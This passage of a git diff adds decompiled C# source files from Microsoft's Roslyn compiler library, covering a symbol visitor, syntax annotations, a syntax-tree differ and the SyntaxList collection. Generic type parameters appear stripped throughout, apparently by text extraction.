DefaultVisit(symbol, argument); + } + + public virtual TResult VisitAssembly(IAssemblySymbol symbol, TArgument argument) + { + return DefaultVisit(symbol, argument); + } + + public virtual TResult VisitDiscard(IDiscardSymbol symbol, TArgument argument) + { + return DefaultVisit(symbol, argument); + } + + public virtual TResult VisitDynamicType(IDynamicTypeSymbol symbol, TArgument argument) + { + return DefaultVisit(symbol, argument); + } + + public virtual TResult VisitEvent(IEventSymbol symbol, TArgument argument) + { + return DefaultVisit(symbol, argument); + } + + public virtual TResult VisitField(IFieldSymbol symbol, TArgument argument) + { + return DefaultVisit(symbol, argument); + } + + public virtual TResult VisitLabel(ILabelSymbol symbol, TArgument argument) + { + return DefaultVisit(symbol, argument); + } + + public virtual TResult VisitLocal(ILocalSymbol symbol, TArgument argument) + { + return DefaultVisit(symbol, argument); + } + + public virtual TResult VisitMethod(IMethodSymbol symbol, TArgument argument) + { + return DefaultVisit(symbol, argument); + } + + public virtual TResult VisitModule(IModuleSymbol symbol, TArgument argument) + { + return DefaultVisit(symbol, argument); + } + + public virtual TResult VisitNamedType(INamedTypeSymbol symbol, TArgument argument) + { + return DefaultVisit(symbol, argument); + } + + public virtual TResult VisitNamespace(INamespaceSymbol symbol, TArgument argument) + { + return DefaultVisit(symbol, argument); + } + + public virtual TResult VisitParameter(IParameterSymbol symbol, TArgument argument) + { + return DefaultVisit(symbol, argument); + } + + public virtual TResult VisitPointerType(IPointerTypeSymbol symbol, TArgument argument) + { + return DefaultVisit(symbol, argument); + } + + public virtual TResult VisitFunctionPointerType(IFunctionPointerTypeSymbol symbol, TArgument argument) + { + return DefaultVisit(symbol, argument); + } + + public virtual TResult VisitProperty(IPropertySymbol symbol, TArgument argument) + { + return DefaultVisit(symbol, argument); + } + + public virtual TResult VisitRangeVariable(IRangeVariableSymbol symbol, TArgument argument) + { + return DefaultVisit(symbol, argument); + } + + public virtual TResult VisitTypeParameter(ITypeParameterSymbol symbol, TArgument argument) + { + return DefaultVisit(symbol, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxAnnotation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxAnnotation.cs new file mode 100644 index 0000000..696e54a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxAnnotation.cs @@ -0,0 +1,94 @@ +using System; +using System.Diagnostics; +using System.Threading; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +[DebuggerDisplay("{GetDebuggerDisplay(), nq}")] +public sealed class SyntaxAnnotation : IObjectWritable, IEquatable +{ + private readonly long _id; + + private static long s_nextId; + + public static SyntaxAnnotation ElasticAnnotation { get; } + + public string? Kind { get; } + + public string? Data { get; } + + bool IObjectWritable.ShouldReuseInSerialization => true; + + static SyntaxAnnotation() + { + ElasticAnnotation = new SyntaxAnnotation(); + ObjectBinder.RegisterTypeReader(typeof(SyntaxAnnotation), (ObjectReader r) => new SyntaxAnnotation(r)); + } + + public SyntaxAnnotation() + { + _id = Interlocked.Increment(ref s_nextId); + } + + public SyntaxAnnotation(string? kind) + : this() + { + Kind = kind; + } + + public SyntaxAnnotation(string? kind, string? data) + : this(kind) + { + Data = data; + } + + private SyntaxAnnotation(ObjectReader reader) + { + _id = reader.ReadInt64(); + Kind = reader.ReadString(); + Data = reader.ReadString(); + } + + void IObjectWritable.WriteTo(ObjectWriter writer) + { + writer.WriteInt64(_id); + writer.WriteString(Kind); + writer.WriteString(Data); + } + + private string GetDebuggerDisplay() + { + return string.Format("Annotation: Kind='{0}' Data='{1}'", Kind ?? "", Data ?? ""); + } + + public bool Equals(SyntaxAnnotation? other) + { + if ((object)other != null) + { + return _id == other._id; + } + return false; + } + + public static bool operator ==(SyntaxAnnotation? left, SyntaxAnnotation? right) + { + return left?.Equals(right) ?? ((object)right == null); + } + + public static bool operator !=(SyntaxAnnotation? left, SyntaxAnnotation? right) + { + return !(left == right); + } + + public override bool Equals(object? obj) + { + return Equals(obj as SyntaxAnnotation); + } + + public override int GetHashCode() + { + long id = _id; + return id.GetHashCode(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxContextReceiverAdaptor.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxContextReceiverAdaptor.cs new file mode 100644 index 0000000..0732ffb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxContextReceiverAdaptor.cs @@ -0,0 +1,27 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +internal sealed class SyntaxContextReceiverAdaptor : ISyntaxContextReceiver +{ + public ISyntaxReceiver Receiver { get; } + + private SyntaxContextReceiverAdaptor(ISyntaxReceiver receiver) + { + Receiver = receiver ?? throw new ArgumentNullException("receiver"); + } + + public void OnVisitSyntaxNode(GeneratorSyntaxContext context) + { + Receiver.OnVisitSyntaxNode(context.Node); + } + + public static SyntaxContextReceiverCreator Create(SyntaxReceiverCreator creator) + { + return delegate + { + ISyntaxReceiver syntaxReceiver = creator(); + return (syntaxReceiver != null) ? new SyntaxContextReceiverAdaptor(syntaxReceiver) : null; + }; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxContextReceiverCreator.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxContextReceiverCreator.cs new file mode 100644 index 0000000..73d6d0e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxContextReceiverCreator.cs @@ -0,0 +1,3 @@ +namespace Microsoft.CodeAnalysis; + +public delegate ISyntaxContextReceiver? SyntaxContextReceiverCreator(); diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxDiffer.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxDiffer.cs new file mode 100644 index 0000000..cdac133 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxDiffer.cs @@ -0,0 +1,688 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal class SyntaxDiffer +{ + private enum DiffOp + { + None, + SkipBoth, + ReduceOld, + ReduceNew, + ReduceBoth, + InsertNew, + DeleteOld, + ReplaceOldWithNew + } + + private readonly struct DiffAction(DiffOp operation, int count) + { + public readonly DiffOp Operation = operation; + + public readonly int Count = count; + } + + private readonly struct ChangeRecord + { + public readonly TextChangeRange Range; + + public readonly Queue? OldNodes; + + public readonly Queue? NewNodes; + + internal ChangeRecord(TextChangeRange range, Queue? oldNodes, Queue? newNodes) + { + Range = range; + OldNodes = oldNodes; + NewNodes = newNodes; + } + } + + private readonly struct ChangeRangeWithText(TextChangeRange range, string? newText) + { + public readonly TextChangeRange Range = range; + + public readonly string? NewText = newText; + } + + private const int InitialStackSize = 8; + + private const int MaxSearchLength = 8; + + private readonly Stack _oldNodes = new Stack(8); + + private readonly Stack _newNodes = new Stack(8); + + private readonly List _changes = new List(); + + private readonly TextSpan _oldSpan; + + private readonly bool _computeNewText; + + private readonly HashSet _nodeSimilaritySet = new HashSet(); + + private readonly HashSet _tokenTextSimilaritySet = new HashSet(); + + private SyntaxDiffer(SyntaxNode oldNode, SyntaxNode newNode, bool computeNewText) + { + _oldNodes.Push(oldNode); + _newNodes.Push(newNode); + _oldSpan = oldNode.FullSpan; + _computeNewText = computeNewText; + } + + internal static IList GetTextChanges(SyntaxTree before, SyntaxTree after) + { + if (before == after) + { + return SpecializedCollections.EmptyList(); + } + if (before == null) + { + return new TextChange[1] + { + new TextChange(new TextSpan(0, 0), after.GetText().ToString()) + }; + } + if (after == null) + { + throw new ArgumentNullException("after"); + } + return GetTextChanges(before.GetRoot(), after.GetRoot()); + } + + internal static IList GetTextChanges(SyntaxNode oldNode, SyntaxNode newNode) + { + return new SyntaxDiffer(oldNode, newNode, computeNewText: true).ComputeTextChangesFromOld(); + } + + private IList ComputeTextChangesFromOld() + { + ComputeChangeRecords(); + return (from c in ReduceChanges(_changes) + select new TextChange(c.Range.Span, c.NewText)).ToList(); + } + + internal static IList GetPossiblyDifferentTextSpans(SyntaxTree? before, SyntaxTree? after) + { + if (before == after) + { + return SpecializedCollections.EmptyList(); + } + if (before == null) + { + return new TextSpan[1] + { + new TextSpan(0, after.GetText().Length) + }; + } + if (after == null) + { + throw new ArgumentNullException("after"); + } + return GetPossiblyDifferentTextSpans(before.GetRoot(), after.GetRoot()); + } + + internal static IList GetPossiblyDifferentTextSpans(SyntaxNode oldNode, SyntaxNode newNode) + { + return new SyntaxDiffer(oldNode, newNode, computeNewText: false).ComputeSpansInNew(); + } + + private IList ComputeSpansInNew() + { + ComputeChangeRecords(); + List list = ReduceChanges(_changes); + List list2 = new List(); + int num = 0; + foreach (ChangeRangeWithText item in list) + { + if (item.Range.NewLength > 0) + { + int start = item.Range.Span.Start + num; + list2.Add(new TextSpan(start, item.Range.NewLength)); + } + num += item.Range.NewLength - item.Range.Span.Length; + } + return list2; + } + + private void ComputeChangeRecords() + { + while (true) + { + if (_newNodes.Count == 0) + { + if (_oldNodes.Count > 0) + { + RecordDeleteOld(_oldNodes.Count); + } + break; + } + if (_oldNodes.Count == 0) + { + if (_newNodes.Count > 0) + { + RecordInsertNew(_newNodes.Count); + } + break; + } + DiffAction nextAction = GetNextAction(); + switch (nextAction.Operation) + { + case DiffOp.SkipBoth: + RemoveFirst(_oldNodes, nextAction.Count); + RemoveFirst(_newNodes, nextAction.Count); + break; + case DiffOp.ReduceOld: + ReplaceFirstWithChildren(_oldNodes); + break; + case DiffOp.ReduceNew: + ReplaceFirstWithChildren(_newNodes); + break; + case DiffOp.ReduceBoth: + ReplaceFirstWithChildren(_oldNodes); + ReplaceFirstWithChildren(_newNodes); + break; + case DiffOp.InsertNew: + RecordInsertNew(nextAction.Count); + break; + case DiffOp.DeleteOld: + RecordDeleteOld(nextAction.Count); + break; + case DiffOp.ReplaceOldWithNew: + RecordReplaceOldWithNew(nextAction.Count, nextAction.Count); + break; + } + } + } + + private DiffAction GetNextAction() + { + bool isToken = _oldNodes.Peek().IsToken; + bool isToken2 = _newNodes.Peek().IsToken; + FindBestMatch(_newNodes, _oldNodes.Peek(), out var index, out var similarity); + FindBestMatch(_oldNodes, _newNodes.Peek(), out var index2, out var similarity2); + if (index == 0 && index2 == 0) + { + if (AreIdentical(_oldNodes.Peek(), _newNodes.Peek())) + { + return new DiffAction(DiffOp.SkipBoth, 1); + } + if (!isToken && !isToken2) + { + return new DiffAction(DiffOp.ReduceBoth, 1); + } + return new DiffAction(DiffOp.ReplaceOldWithNew, 1); + } + if (index >= 0 || index2 >= 0) + { + if (index2 < 0 || similarity >= similarity2) + { + if (index > 0) + { + FindBestMatch(_oldNodes, _oldNodes.Peek(), out var index3, out var similarity3, 1); + if (index3 < 1 || similarity3 < similarity) + { + return new DiffAction(DiffOp.InsertNew, index); + } + } + if (!isToken2) + { + if (AreSimilar(_oldNodes.Peek(), _newNodes.Peek())) + { + return new DiffAction(DiffOp.ReduceBoth, 1); + } + return new DiffAction(DiffOp.ReduceNew, 1); + } + return new DiffAction(DiffOp.ReplaceOldWithNew, 1); + } + if (index2 > 0) + { + return new DiffAction(DiffOp.DeleteOld, index2); + } + if (!isToken) + { + if (AreSimilar(_oldNodes.Peek(), _newNodes.Peek())) + { + return new DiffAction(DiffOp.ReduceBoth, 1); + } + return new DiffAction(DiffOp.ReduceOld, 1); + } + return new DiffAction(DiffOp.ReplaceOldWithNew, 1); + } + if (!isToken && !isToken2 && GetSimilarity(_oldNodes.Peek(), _newNodes.Peek()) >= Math.Max(_oldNodes.Peek().FullSpan.Length, _newNodes.Peek().FullSpan.Length)) + { + return new DiffAction(DiffOp.ReduceBoth, 1); + } + return new DiffAction(DiffOp.ReplaceOldWithNew, 1); + } + + private static void ReplaceFirstWithChildren(Stack stack) + { + SyntaxNodeOrToken syntaxNodeOrToken = stack.Pop(); + int num = 0; + SyntaxNodeOrToken[] array = new SyntaxNodeOrToken[syntaxNodeOrToken.ChildNodesAndTokens().Count]; + ChildSyntaxList.Enumerator enumerator = syntaxNodeOrToken.ChildNodesAndTokens().GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxNodeOrToken current = enumerator.Current; + if (current.FullSpan.Length > 0) + { + array[num] = current; + num++; + } + } + for (int num2 = num - 1; num2 >= 0; num2--) + { + stack.Push(array[num2]); + } + } + + private void FindBestMatch(Stack stack, in SyntaxNodeOrToken node, out int index, out int similarity, int startIndex = 0) + { + index = -1; + similarity = -1; + int num = 0; + foreach (SyntaxNodeOrToken item in stack) + { + SyntaxNodeOrToken node2 = item; + if (num >= 8) + { + break; + } + if (num >= startIndex) + { + if (AreIdentical(in node2, in node)) + { + int length = node.FullSpan.Length; + if (length > similarity) + { + index = num; + similarity = length; + break; + } + } + else if (AreSimilar(in node2, in node)) + { + int similarity2 = GetSimilarity(in node2, in node); + if (similarity2 == node.FullSpan.Length && node.IsToken && node2.ToFullString() == node.ToFullString()) + { + index = num; + similarity = similarity2; + break; + } + if (similarity2 > similarity) + { + index = num; + similarity = similarity2; + } + } + else + { + int num2 = 0; + ChildSyntaxList.Enumerator enumerator2 = node2.ChildNodesAndTokens().GetEnumerator(); + while (enumerator2.MoveNext()) + { + SyntaxNodeOrToken node3 = enumerator2.Current; + if (num2 >= 8) + { + break; + } + num2++; + if (AreIdentical(in node3, in node)) + { + index = num; + similarity = node.FullSpan.Length; + return; + } + if (AreSimilar(in node3, in node)) + { + int similarity3 = GetSimilarity(in node3, in node); + if (similarity3 > similarity) + { + index = num; + similarity = similarity3; + } + } + } + } + } + num++; + } + } + + private int GetSimilarity(in SyntaxNodeOrToken node1, in SyntaxNodeOrToken node2) + { + int num = 0; + _nodeSimilaritySet.Clear(); + _tokenTextSimilaritySet.Clear(); + if (node1.IsToken && node2.IsToken) + { + string text = node1.ToString(); + string text2 = node2.ToString(); + if (text == text2) + { + num += text.Length; + } + SyntaxTriviaList.Enumerator enumerator = node1.GetLeadingTrivia().GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxTrivia current = enumerator.Current; + _nodeSimilaritySet.Add(current.UnderlyingNode); + } + enumerator = node1.GetTrailingTrivia().GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxTrivia current2 = enumerator.Current; + _nodeSimilaritySet.Add(current2.UnderlyingNode); + } + enumerator = node2.GetLeadingTrivia().GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxTrivia current3 = enumerator.Current; + if (_nodeSimilaritySet.Contains(current3.UnderlyingNode)) + { + num += current3.FullSpan.Length; + } + } + enumerator = node2.GetTrailingTrivia().GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxTrivia current4 = enumerator.Current; + if (_nodeSimilaritySet.Contains(current4.UnderlyingNode)) + { + num += current4.FullSpan.Length; + } + } + } + else + { + ChildSyntaxList.Enumerator enumerator2 = node1.ChildNodesAndTokens().GetEnumerator(); + while (enumerator2.MoveNext()) + { + SyntaxNodeOrToken current5 = enumerator2.Current; + _nodeSimilaritySet.Add(current5.UnderlyingNode); + if (current5.IsToken) + { + _tokenTextSimilaritySet.Add(current5.ToString()); + } + } + enumerator2 = node2.ChildNodesAndTokens().GetEnumerator(); + while (enumerator2.MoveNext()) + { + SyntaxNodeOrToken current6 = enumerator2.Current; + if (_nodeSimilaritySet.Contains(current6.UnderlyingNode)) + { + num += current6.FullSpan.Length; + } + else if (current6.IsToken) + { + string text3 = current6.ToString(); + if (_tokenTextSimilaritySet.Contains(text3)) + { + num += text3.Length; + } + } + } + } + return num; + } + + private static bool AreIdentical(in SyntaxNodeOrToken node1, in SyntaxNodeOrToken node2) + { + return node1.UnderlyingNode == node2.UnderlyingNode; + } + + private static bool AreSimilar(in SyntaxNodeOrToken node1, in SyntaxNodeOrToken node2) + { + return node1.RawKind == node2.RawKind; + } + + private void RecordDeleteOld(int oldNodeCount) + { + TextSpan span = GetSpan(_oldNodes, 0, oldNodeCount); + Queue oldNodes = CopyFirst(_oldNodes, oldNodeCount); + RemoveFirst(_oldNodes, oldNodeCount); + RecordChange(new ChangeRecord(new TextChangeRange(span, 0), oldNodes, null)); + } + + private void RecordReplaceOldWithNew(int oldNodeCount, int newNodeCount) + { + if (oldNodeCount == 1 && newNodeCount == 1) + { + SyntaxNodeOrToken removedNode = _oldNodes.Pop(); + TextSpan fullSpan = removedNode.FullSpan; + SyntaxNodeOrToken insertedNode = _newNodes.Pop(); + RecordChange(new TextChangeRange(fullSpan, insertedNode.FullSpan.Length), in removedNode, insertedNode); + } + else + { + TextSpan span = GetSpan(_oldNodes, 0, oldNodeCount); + Queue oldNodes = CopyFirst(_oldNodes, oldNodeCount); + RemoveFirst(_oldNodes, oldNodeCount); + TextSpan span2 = GetSpan(_newNodes, 0, newNodeCount); + Queue newNodes = CopyFirst(_newNodes, newNodeCount); + RemoveFirst(_newNodes, newNodeCount); + RecordChange(new ChangeRecord(new TextChangeRange(span, span2.Length), oldNodes, newNodes)); + } + } + + private void RecordInsertNew(int newNodeCount) + { + TextSpan span = GetSpan(_newNodes, 0, newNodeCount); + Queue newNodes = CopyFirst(_newNodes, newNodeCount); + RemoveFirst(_newNodes, newNodeCount); + int start = ((_oldNodes.Count > 0) ? _oldNodes.Peek().Position : _oldSpan.End); + RecordChange(new ChangeRecord(new TextChangeRange(new TextSpan(start, 0), span.Length), null, newNodes)); + } + + private void RecordChange(ChangeRecord change) + { + if (_changes.Count > 0) + { + ChangeRecord changeRecord = _changes[_changes.Count - 1]; + if (changeRecord.Range.Span.End == change.Range.Span.Start) + { + _changes[_changes.Count - 1] = new ChangeRecord(new TextChangeRange(new TextSpan(changeRecord.Range.Span.Start, changeRecord.Range.Span.Length + change.Range.Span.Length), changeRecord.Range.NewLength + change.Range.NewLength), Combine(changeRecord.OldNodes, change.OldNodes), Combine(changeRecord.NewNodes, change.NewNodes)); + return; + } + } + _changes.Add(change); + } + + private void RecordChange(TextChangeRange textChangeRange, in SyntaxNodeOrToken removedNode, SyntaxNodeOrToken insertedNode) + { + if (_changes.Count > 0) + { + ChangeRecord changeRecord = _changes[_changes.Count - 1]; + if (changeRecord.Range.Span.End == textChangeRange.Span.Start) + { + changeRecord.OldNodes?.Enqueue(removedNode); + changeRecord.NewNodes?.Enqueue(insertedNode); + _changes[_changes.Count - 1] = new ChangeRecord(new TextChangeRange(new TextSpan(changeRecord.Range.Span.Start, changeRecord.Range.Span.Length + textChangeRange.Span.Length), changeRecord.Range.NewLength + textChangeRange.NewLength), changeRecord.OldNodes ?? CreateQueue(removedNode), changeRecord.NewNodes ?? CreateQueue(insertedNode)); + return; + } + } + _changes.Add(new ChangeRecord(textChangeRange, CreateQueue(removedNode), CreateQueue(insertedNode))); + static Queue CreateQueue(SyntaxNodeOrToken nodeOrToken) + { + Queue queue = new Queue(); + queue.Enqueue(nodeOrToken); + return queue; + } + } + + private static TextSpan GetSpan(Stack stack, int first, int length) + { + int start = -1; + int end = -1; + int num = 0; + foreach (SyntaxNodeOrToken item in stack) + { + if (num == first) + { + start = item.Position; + } + if (num == first + length - 1) + { + end = item.EndPosition; + break; + } + num++; + } + return TextSpan.FromBounds(start, end); + } + + private static TextSpan GetSpan(Queue queue, int first, int length) + { + int start = -1; + int end = -1; + int num = 0; + foreach (SyntaxNodeOrToken item in queue) + { + if (num == first) + { + start = item.Position; + } + if (num == first + length - 1) + { + end = item.EndPosition; + break; + } + num++; + } + return TextSpan.FromBounds(start, end); + } + + private static Queue? Combine(Queue? first, Queue? next) + { + if (first == null || first.Count == 0) + { + return next; + } + if (next == null || next.Count == 0) + { + return first; + } + foreach (SyntaxNodeOrToken item in next) + { + first.Enqueue(item); + } + return first; + } + + private static Queue? CopyFirst(Stack stack, int n) + { + if (n == 0) + { + return null; + } + Queue queue = new Queue(n); + int num = n; + foreach (SyntaxNodeOrToken item in stack) + { + if (num == 0) + { + break; + } + queue.Enqueue(item); + num--; + } + return queue; + } + + private static void RemoveFirst(Stack stack, int count) + { + for (int i = 0; i < count; i++) + { + stack.Pop(); + } + } + + private List ReduceChanges(List changeRecords) + { + List list = new List(changeRecords.Count); + StringBuilder stringBuilder = new StringBuilder(); + StringBuilder stringBuilder2 = new StringBuilder(); + foreach (ChangeRecord changeRecord in changeRecords) + { + if (changeRecord.Range.Span.Length > 0 && changeRecord.Range.NewLength > 0) + { + TextChangeRange range = changeRecord.Range; + CopyText(changeRecord.OldNodes, stringBuilder); + CopyText(changeRecord.NewNodes, stringBuilder2); + GetCommonEdgeLengths(stringBuilder, stringBuilder2, out var commonLeadingCount, out var commonTrailingCount); + if (commonLeadingCount > 0 || commonTrailingCount > 0) + { + range = new TextChangeRange(new TextSpan(range.Span.Start + commonLeadingCount, range.Span.Length - (commonLeadingCount + commonTrailingCount)), range.NewLength - (commonLeadingCount + commonTrailingCount)); + if (commonTrailingCount > 0) + { + stringBuilder2.Remove(stringBuilder2.Length - commonTrailingCount, commonTrailingCount); + } + if (commonLeadingCount > 0) + { + stringBuilder2.Remove(0, commonLeadingCount); + } + } + if (range.Span.Length > 0 || range.NewLength > 0) + { + list.Add(new ChangeRangeWithText(range, _computeNewText ? stringBuilder2.ToString() : null)); + } + } + else + { + list.Add(new ChangeRangeWithText(changeRecord.Range, _computeNewText ? GetText(changeRecord.NewNodes) : null)); + } + } + return list; + } + + private static void GetCommonEdgeLengths(StringBuilder oldText, StringBuilder newText, out int commonLeadingCount, out int commonTrailingCount) + { + int num = Math.Min(oldText.Length, newText.Length); + commonLeadingCount = 0; + while (commonLeadingCount < num && oldText[commonLeadingCount] == newText[commonLeadingCount]) + { + commonLeadingCount++; + } + num -= commonLeadingCount; + commonTrailingCount = 0; + while (commonTrailingCount < num && oldText[oldText.Length - commonTrailingCount - 1] == newText[newText.Length - commonTrailingCount - 1]) + { + commonTrailingCount++; + } + } + + private static string GetText(Queue? queue) + { + if (queue == null || queue.Count == 0) + { + return string.Empty; + } + StringBuilder stringBuilder = new StringBuilder(GetSpan(queue, 0, queue.Count).Length); + CopyText(queue, stringBuilder); + return stringBuilder.ToString(); + } + + private static void CopyText(Queue? queue, StringBuilder builder) + { + builder.Length = 0; + if (queue == null || queue.Count <= 0) + { + return; + } + StringWriter stringWriter = new StringWriter(builder); + foreach (SyntaxNodeOrToken item in queue) + { + item.WriteTo(stringWriter); + } + stringWriter.Flush(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxInputNode.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxInputNode.cs new file mode 100644 index 0000000..b6694f6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxInputNode.cs @@ -0,0 +1,53 @@ +using System; +using System.Collections.Generic; +using System.Threading; + +namespace Microsoft.CodeAnalysis; + +internal abstract class SyntaxInputNode +{ + internal abstract ISyntaxInputBuilder GetBuilder(StateTableStore table, bool trackIncrementalSteps); +} +internal sealed class SyntaxInputNode : SyntaxInputNode, IIncrementalGeneratorNode +{ + private readonly ISyntaxSelectionStrategy _inputNode; + + private readonly Action _registerOutput; + + private readonly IEqualityComparer _comparer; + + private readonly string? _name; + + internal SyntaxInputNode(ISyntaxSelectionStrategy inputNode, Action registerOutput, IEqualityComparer? comparer = null, string? name = null) + { + _inputNode = inputNode; + _registerOutput = registerOutput; + _comparer = comparer ?? EqualityComparer.Default; + _name = name; + } + + public NodeStateTable UpdateStateTable(DriverStateTable.Builder graphState, NodeStateTable? previousTable, CancellationToken cancellationToken) + { + return (NodeStateTable)graphState.SyntaxStore.GetSyntaxInputTable(this, graphState.GetLatestStateTableForNode(SharedInputNodes.SyntaxTrees)); + } + + public IIncrementalGeneratorNode WithComparer(IEqualityComparer comparer) + { + return new SyntaxInputNode(_inputNode, _registerOutput, comparer, _name); + } + + public IIncrementalGeneratorNode WithTrackingName(string name) + { + return new SyntaxInputNode(_inputNode, _registerOutput, _comparer, name); + } + + public void RegisterOutput(IIncrementalGeneratorOutputNode output) + { + _registerOutput(this, output); + } + + internal override ISyntaxInputBuilder GetBuilder(StateTableStore table, bool trackIncrementalSteps) + { + return _inputNode.GetBuilder(table, this, trackIncrementalSteps, _name, _comparer); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxList.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxList.cs new file mode 100644 index 0000000..5eb109c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/SyntaxList.cs @@ -0,0 +1,480 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.ComponentModel; +using System.Linq; +using Microsoft.CodeAnalysis.Syntax; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +public readonly struct SyntaxList : IReadOnlyList, IEnumerable, IEnumerable, IReadOnlyCollection, IEquatable> where TNode : SyntaxNode +{ + public struct Enumerator + { + private readonly SyntaxList _list; + + private int _index; + + public TNode Current => (TNode)_list.ItemInternal(_index); + + internal Enumerator(SyntaxList list) + { + _list = list; + _index = -1; + } + + public bool MoveNext() + { + int num = _index + 1; + if (num < _list.Count) + { + _index = num; + return true; + } + return false; + } + + public void Reset() + { + _index = -1; + } + + public override bool Equals(object? obj) + { + throw new NotSupportedException(); + } + + public override int GetHashCode() + { + throw new NotSupportedException(); + } + } + + private class EnumeratorImpl : IEnumerator, IEnumerator, IDisposable + { + private Enumerator _e; + + public TNode Current => _e.Current; + + object IEnumerator.Current => _e.Current; + + internal EnumeratorImpl(in SyntaxList list) + { + _e = new Enumerator(list); + } + + public bool MoveNext() + { + return _e.MoveNext(); + } + + void IDisposable.Dispose() + { + } + + void IEnumerator.Reset() + { + _e.Reset(); + } + } + + private readonly SyntaxNode? _node; + + internal SyntaxNode? Node => _node; + + public int Count + { + get + { + if (_node != null) + { + if (!_node.IsList) + { + return 1; + } + return _node.SlotCount; + } + return 0; + } + } + + public TNode this[int index] + { + get + { + if (_node != null) + { + if (_node.IsList) + { + if ((uint)index < (uint)_node.SlotCount) + { + return (TNode)_node.GetNodeSlot(index); + } + } + else if (index == 0) + { + return (TNode)_node; + } + } + throw new ArgumentOutOfRangeException("index"); + } + } + + public TextSpan FullSpan + { + get + { + if (Count == 0) + { + return default(TextSpan); + } + return TextSpan.FromBounds(this[0].FullSpan.Start, this[Count - 1].FullSpan.End); + } + } + + public TextSpan Span + { + get + { + if (Count == 0) + { + return default(TextSpan); + } + return TextSpan.FromBounds(this[0].Span.Start, this[Count - 1].Span.End); + } + } + + private TNode[] Nodes => this.ToArray(); + + internal SyntaxList(SyntaxNode? node) + { + _node = node; + } + + public SyntaxList(TNode? node) + : this((SyntaxNode?)node) + { + } + + public SyntaxList(IEnumerable? nodes) + : this(CreateNode(nodes)) + { + } + + private static SyntaxNode? CreateNode(IEnumerable? nodes) + { + if (nodes == null) + { + return null; + } + SyntaxListBuilder syntaxListBuilder = ((nodes is ICollection collection) ? new SyntaxListBuilder(collection.Count) : SyntaxListBuilder.Create()); + foreach (TNode node in nodes) + { + syntaxListBuilder.Add(node); + } + return syntaxListBuilder.ToList().Node; + } + + internal SyntaxNode? ItemInternal(int index) + { + SyntaxNode? node = _node; + if (node != null && node.IsList) + { + return _node.GetNodeSlot(index); + } + return _node; + } + + public override string ToString() + { + if (_node == null) + { + return string.Empty; + } + return _node.ToString(); + } + + public string ToFullString() + { + if (_node == null) + { + return string.Empty; + } + return _node.ToFullString(); + } + + public SyntaxList Add(TNode node) + { + return Insert(Count, node); + } + + public SyntaxList AddRange(IEnumerable nodes) + { + return InsertRange(Count, nodes); + } + + public SyntaxList Insert(int index, TNode node) + { + if (node == null) + { + throw new ArgumentNullException("node"); + } + return InsertRange(index, new TNode[1] { node }); + } + + public SyntaxList InsertRange(int index, IEnumerable nodes) + { + if (index < 0 || index > Count) + { + throw new ArgumentOutOfRangeException("index"); + } + if (nodes == null) + { + throw new ArgumentNullException("nodes"); + } + List list = this.ToList(); + list.InsertRange(index, nodes); + if (list.Count == 0) + { + return this; + } + return CreateList(list); + } + + public SyntaxList RemoveAt(int index) + { + if (index < 0 || index > Count) + { + throw new ArgumentOutOfRangeException("index"); + } + return Remove(this[index]); + } + + public SyntaxList Remove(TNode node) + { + return CreateList(this.Where((TNode x) => x != node).ToList()); + } + + public SyntaxList Replace(TNode nodeInList, TNode newNode) + { + return ReplaceRange(nodeInList, new TNode[1] { newNode }); + } + + public SyntaxList ReplaceRange(TNode nodeInList, IEnumerable newNodes) + { + if (nodeInList == null) + { + throw new ArgumentNullException("nodeInList"); + } + if (newNodes == null) + { + throw new ArgumentNullException("newNodes"); + } + int num = IndexOf(nodeInList); + if (num >= 0 && num < Count) + { + List list = this.ToList(); + list.RemoveAt(num); + list.InsertRange(num, newNodes); + return CreateList(list); + } + throw new ArgumentException("nodeInList"); + } + + private static SyntaxList CreateList(List items) + { + if (items.Count == 0) + { + return default(SyntaxList); + } + return new SyntaxList(GreenNode.CreateList(items, (TNode n) => n.Green).CreateRed()); + } + + public TNode First() + { + return this[0]; + } + + public TNode? FirstOrDefault() + { + if (Any()) + { + return this[0]; + } + return null; + } + + public TNode Last() + { + return this[Count - 1]; + } + + public TNode? LastOrDefault() + { + if (Any()) + { + return this[Count - 1]; + } + return null; + } + + public bool Any() + { + return _node != null; 